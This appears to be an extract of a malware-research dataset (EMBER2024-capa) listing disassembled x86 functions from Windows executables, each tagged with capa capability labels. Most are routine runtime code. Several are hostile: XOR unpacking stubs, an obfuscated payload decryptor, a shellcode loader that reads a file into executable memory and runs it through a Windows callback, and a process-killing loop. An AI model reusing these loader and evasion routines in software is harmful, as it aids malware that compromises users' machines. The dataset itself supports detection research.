joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4545ab
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00442514
xor ebx, ebx
cmp dword [0x47bd04], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x454681
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x454761
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x454761
push eax
call fcn.004424a6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x47bd04], eax
call esi
push eax
call fcn.004424a6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x47bd08], eax
call esi
push eax
call fcn.004424a6
mov dword [0x47bd0c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00440b61
test eax, eax
pop ecx
pop ecx
je 0x45464f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0043c722
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x454681
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004424a6
cmp eax, ebx
pop ecx
mov dword [0x47bd14], eax
je 0x454681
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004424a6
pop ecx
mov dword [0x47bd10], eax
mov eax, dword [0x47bd10]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x454706
cmp dword [0x47bd14], ecx
je 0x454706
push eax
call fcn.0044251d
push dword [0x47bd14]
mov esi, eax
call fcn.0044251d
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x454706
cmp edi, ebx
je 0x454706
call esi
cmp eax, ebx
je 0x4546d3
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4546d3
test byte [ebp - 0x18], 1
jne 0x454706
lea eax, [ebp - 0x10]
push eax
call fcn.00440b98
test eax, eax
pop ecx
je 0x4546ee
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0043c722
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4546fd
or dword [ebp + 0x10], 0x200000
jmp 0x454741
or dword [ebp + 0x10], 0x40000
jmp 0x454741
mov eax, dword [0x47bd08]
cmp eax, dword [ebp - 8]
je 0x454741
push eax
call fcn.0044251d
cmp eax, ebx
pop ecx
je 0x454741
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x454741
mov eax, dword [0x47bd0c]
cmp eax, dword [ebp - 8]
je 0x454741
push eax
call fcn.0044251d
cmp eax, ebx
pop ecx
je 0x454741
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x47bd04]
call fcn.0044251d
cmp eax, ebx
pop ecx
je 0x454761
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x454763
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x416170
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x416198
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4161a7
mov eax, 1
ret 4

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40288e
pop dword [ebp - 0x4c]
mov eax, 0x40288e
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x4be4ad4a
add dword [ebp - 0x5c], 0x26d9801
mov dword [ebp - 0x58], 0x9fcafee9
sub dword [ebp - 0x58], 0x6d97b2a4
mov dword [ebp - 0x54], 0x37ce8af7
add dword [ebp - 0x54], 0x147db937
mov dword [ebp - 0x50], 0x74dbe426
sub dword [ebp - 0x50], 0x74dbe426
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x1c7003c4
add eax, 0xe3d07cc8
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x38993a21
add dword [ebp - 0x5c], 0x3bd92f35
mov dword [ebp - 0x58], 0xf5ad0756
add dword [ebp - 0x58], 0x4bbf5a1f
mov dword [ebp - 0x54], 0x41f81b09
sub dword [ebp - 0x54], 0xde88ae9d
mov dword [ebp - 0x50], 0x6c3618f9
sub dword [ebp - 0x50], 0x6c3618f9
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d3b2
push 0
call eax
mov ecx, 0xe2120bc4
add ecx, 0x1dee56c6
mov edi, eax
mov ebx, 0x411000
add ebx, dword [ebp - 0x4c]
mov esi, 0x44bbba8c
add dword [ebp - 0x24], ecx
mov edx, dword [ebx]
add dword [ebp - 0x14], edx
xor edx, esi
xor dword [ebp - 8], edx
mov dword [edi], edx
mov dword [ebp - 0x14], 0x6327e186
add edi, 4
add ebx, 0x80592e14
add ebx, 0x7fa6d1f0
loop 0x40299a
add eax, 0xa4dd1fa1
sub eax, 0xa4dba2a6
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x406ced
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x40af98
call fcn.00406fd4
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x406d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x406d45
cmp eax, 0x20b
je 0x406d32
mov dword [ebp - 0x1c], ebx
jmp 0x406d59
cmp dword [ecx + 0x84], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x406d53
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40ea78], 0xffffffff
or dword [0x40ea7c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40d464]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40d460]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ea74], eax
call fcn.00406f30
call fcn.00406fd0
cmp dword [0x40d320], ebx
jne 0x406db9
push fcn.00406fd0
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00406fbe
push 0x40c00c
push 0x40c008
call sub.MSVCR71.dll__initterm
push 0x406f74
call fcn.00406f1e
mov eax, dword [0x40d45c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40d458]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x406e0d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406e8b
cmp al, bl
je 0x406e37
cmp dword [ebp - 0x20], ebx
jne 0x406e8b
mov al, byte [esi]
cmp al, bl
je 0x406e47
cmp al, 0x20
ja 0x406e47
inc esi
mov dword [ebp - 0x24], esi
jmp 0x406e37
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x406e63
movzx eax, word [ebp - 0x54]
jmp 0x406e66
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00404254
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x406e83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x406ee0
cmp al, 0x22
jne 0x406e9a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x406ead
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x406e25
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040700f
ret

Function at 0x40894d
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
call fcn.00408979
sub edi, 1
xor dword [eax], ecx
mov edi, 0xf2af1aef
add eax, 1
add ebx, 1
cmp eax, edx
jne fcn.0040894d
inc edi
dec ebx
ret
Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
movzx eax, byte [esp + 0xc]
cdq
mov ecx, 0x46b
idiv ecx
push esi
mov esi, dword [esp + 0xc]
sub dl, 0x58
test esi, esi
jbe 0x1000102b
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x1000101d
pop esi
ret

Function at 0x1000102d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 4
push esi
push esi
push 0x80000000
push str.C:WindowsLogsxo.had
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 8], eax
call dword [0x10025000]
push 0x40
push 0x1000
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
lea eax, [ebp - 4]
push eax
push edi
push ebx
push dword [ebp - 8]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0xd3
push edi
push ebx
call section..text
add esp, 0xc
push ebx
push esi
push esi
push esi
call dword [sym.imp.CRYPT32.dll_CryptEnumOIDInfo]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x10001b70
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002430c]
jne 0x10001b7a
repz ret
jmp fcn.10008c00
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..data
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x30fa4f64
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x42e1d0
mov ecx, 0x58150796
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401230
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00417350
mov eax, dword [0x445050]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1008]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x401277
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004164c4
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x1008]
push edi
shr ebx, 2
xor edi, edi
test ebx, ebx
je 0x4012d1
push esi
nop dword [eax]
mov ecx, dword [ebp + edi*4 - 0x1004]
test ecx, ecx
je 0x4012cb
call fcn.00401440
cmp eax, 1
jne 0x4012cb
push dword [ebp + edi*4 - 0x1004]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, ebx
jb 0x401290
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.004164c4
mov esp, ebp
pop ebp
ret
Function at 0x403d00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x403d32
jl 0x403d25
test ecx, ecx
jne 0x403d32
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x403df2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00405150
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x403d9e
jg 0x403d5d
test esi, esi
je 0x403d9e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x403d75
mov eax, dword [esp + 0x10]
jl 0x403d6f
cmp eax, esi
jae 0x403d75
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.00417a00
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x403dbf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x403ddb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x403d44
jl 0x403ddb
test ecx, ecx
jne 0x403d44
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x403e31
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x403e31
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.00417a00
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x403ea0
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x403e57
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x403e89
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0041bcb0
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x403eb4
cmp edi, eax
ja 0x403e65
test ecx, ecx
je 0x403ea0
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0041bcb0
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405760
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434030
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x445050]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004164d2
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00415a3f
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ae50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x445050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x108], esi
cmp dword [eax + 0x14], 0x10
push edi
mov edi, dword [ebp + 0xc]
jb 0x40ae81
mov eax, dword [eax]
lea ecx, [ebp - 0x10c]
push ecx
push 0x20019
push 0
push eax
push dword [edx]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40aedd
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 0x108], 0xff
jb 0x40aeae
mov edi, dword [edi]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push edi
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10c]
test eax, eax
je 0x40aefd
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], 0
mov dword [esi + 0x10], 0
push 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
push 0x44043f
jmp 0x40af34
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x104]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40af23
sub ecx, edx
lea eax, [ebp - 0x104]
push ecx
push eax
mov ecx, esi
call fcn.00402660
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.004164c4
mov esp, ebp
pop ebp
ret
Function at 0x40b780
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x445050]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [edx]
mov eax, dword [ecx]
push ebx
mov ebx, dword [ecx + 8]
movups xmmword [ebp - 0x44], xmm0
push esi
movups xmm0, xmmword [edx + 0x10]
push edi
mov edi, dword [ecx + 0xc]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x58], eax
movups xmm0, xmmword [edx + 0x20]
mov dword [ebp - 0x54], eax
mov eax, dword [ecx + 4]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x5c], ecx
movups xmm0, xmmword [edx + 0x30]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x14], xmm0
nop dword [eax]
mov esi, eax
mov dword [ebp - 0x50], eax
mov ecx, ebx
not esi
and ecx, eax
and esi, edi
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 0x48]
mov edi, ebx
mov ebx, dword [ebp - 0x48]
mov ecx, dword [ecx + 0x4408f8]
add ecx, dword [ebp + ebx - 0x44]
add ecx, esi
add ecx, dword [ebp - 0x54]
rol ecx, 7
add eax, ecx
mov dword [ebp - 0x54], edx
mov ecx, ebx
mov ebx, dword [ebp - 0x50]
add ecx, 4
mov dword [ebp - 0x48], ecx
cmp ecx, 0x40
jb 0x40b7d0
mov dword [ebp - 0x4c], 0x440938
mov dword [ebp - 0x48], 0x51
nop
mov esi, edi
mov dword [ebp - 0x50], eax
not esi
mov ecx, edi
and ecx, eax
and esi, ebx
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 0x48]
mov edi, ebx
mov ebx, dword [ebp - 0x4c]
and ecx, 0xf
add dword [ebp - 0x4c], 4
mov ecx, dword [ebp + ecx*4 - 0x44]
add ecx, dword [ebx]
mov ebx, dword [ebp - 0x50]
add ecx, esi
add ecx, dword [ebp - 0x54]
rol ecx, 0xc
add eax, ecx
mov dword [ebp - 0x54], edx
mov ecx, dword [ebp - 0x48]
add ecx, 5
mov dword [ebp - 0x48], ecx
cmp ecx, 0xa1
jb 0x40b820
mov ecx, 0x65
mov dword [ebp - 0x4c], 0x440978
mov dword [ebp - 0x50], ecx
and ecx, 0xf
mov edx, edi
xor edx, ebx
mov esi, edi
xor edx, eax
mov edi, ebx
mov ebx, eax
mov ecx, dword [ebp + ecx*4 - 0x44]
add ecx, edx
mov edx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x54]
mov dword [ebp - 0x54], esi
add ecx, dword [edx]
add edx, 4
ror ecx, 0xf
add eax, ecx
mov dword [ebp - 0x4c], edx
mov ecx, dword [ebp - 0x50]
add ecx, 3
mov dword [ebp - 0x50], ecx
cmp ecx, 0x95
jb 0x40b876
mov ecx, 0x150
mov dword [ebp - 0x50], 0xc0
mov dword [ebp - 0x4c], ecx
add dword [ebp - 0x4c], 7
and ecx, 0xf
mov edx, edi
mov dword [ebp - 0x48], edi
mov edi, dword [ebp - 0x50]
not edx
or edx, eax
mov dword [ebp - 0x54], ebx
mov ecx, dword [ebp + ecx*4 - 0x44]
xor edx, ebx
mov ebx, eax
add ecx, dword [edi + 0x4408f8]
add ecx, edx
mov edx, dword [ebp - 0x48]
add ecx, esi
mov esi, edx
ror ecx, 0xa
add eax, ecx
mov ecx, edi
mov edi, dword [ebp - 0x54]
add ecx, 4
mov dword [ebp - 0x50], ecx
cmp ecx, 0x100
mov ecx, dword [ebp - 0x4c]
jb 0x40b8c1
mov ecx, dword [ebp - 0x58]
add ecx, edx
mov edx, dword [ebp - 0x5c]
add dword [edx + 0xc], edi
add dword [edx + 8], ebx
add dword [edx + 4], eax
mov dword [edx], ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004164c4
mov esp, ebp
pop ebp
ret
Function at 0x4147a0
Capabilities:
Create process on windows

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x4147a8
mov ecx, dword [ecx]
push 1
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret
Function at 0x424710
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00424581

Function at 0x424bac
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x438e80
push 0x438e78
push str.FlsAlloc
push 0x1e
call fcn.00424a19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x424be0
push dword [ebp + 8]
mov ecx, esi
call dword [0x4351bc]
call esi
jmp 0x424be6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x424c2a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x438e90
push 0x438e88
push str.FlsGetValue
push 0x20
call fcn.00424a19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x424c61
push dword [ebp + 8]
mov ecx, esi
call dword [0x4351bc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]